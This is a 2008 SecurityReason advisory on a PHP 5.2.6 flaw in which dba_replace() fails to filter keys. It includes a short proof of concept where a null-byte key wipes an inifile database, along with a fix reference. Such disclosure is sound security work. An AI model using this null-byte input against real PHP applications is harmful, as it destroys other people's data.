SecurityReason - PHP 5.2.6 dba_replace() destroying file

Advisory Text :

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[ SecurityReason.com PHP 5.2.6 dba_replace() destroying file ]

Author: Maksymilian Arciemowicz
http://securityreason.com
Date:
- - Written: 10.11.2008
- - Public: 28.11.2008

SecurityReason Research
SecurityAlert Id: 58
SecurityRisk: Medium

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/58
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.

NOTE:
These functions build the foundation for accessing Berkeley DB style
databases.

dba_replace - Replace or insert entry

- --- 1. dba_replace() destroying file ---
Function dba_replace() are not filtring strings key and value. There is a
possibility the destruction of the file.

# cat /www/dba.hack.php
<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("HOME","/www/",$source);
?>
# cat /www/about.ini
PATH=/
CURR=.
HOME=/home/
# php /www/dba.hack.php
# cat /www/about.ini
PATH=/
CURR=.
HOME=/www/
#

Well.
But, lets try use

# cat /www/dba.ham.php
<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("\0","/www/",$source);
?>
# php /www/dba.ham.php
# cat /www/about.ini
#

Now /www/about.ini, is emtpy.

- --- 2. How to fix ---
Fixed in CVS

http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1313&r2=1.2027
.2.547.2.1314&

- --- 3. Greets ---
sp3x p_e_a Infospec schain

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ]
Email: cxib [ a t] securityreason [d ot ] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl
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